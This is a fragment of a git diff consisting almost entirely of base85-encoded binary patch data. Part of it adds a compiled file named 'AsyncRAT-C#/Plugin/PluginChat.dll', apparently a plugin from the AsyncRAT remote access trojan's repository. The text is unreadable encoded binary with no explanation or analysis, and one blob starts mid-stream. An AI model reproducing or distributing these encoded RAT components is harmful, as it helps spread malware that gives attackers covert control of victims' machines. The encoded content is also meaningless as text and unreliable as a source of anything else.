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 literal 0 HcmV?d00001 diff --git a/AsyncRAT-C#/Plugin/PluginChat.dll b/AsyncRAT-C#/Plugin/PluginChat.dll new file mode 100644 index 0000000000000000000000000000000000000000..d347f4a45c15796d0c17ddb617c318851c628b4c GIT binary patch literal 24064 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 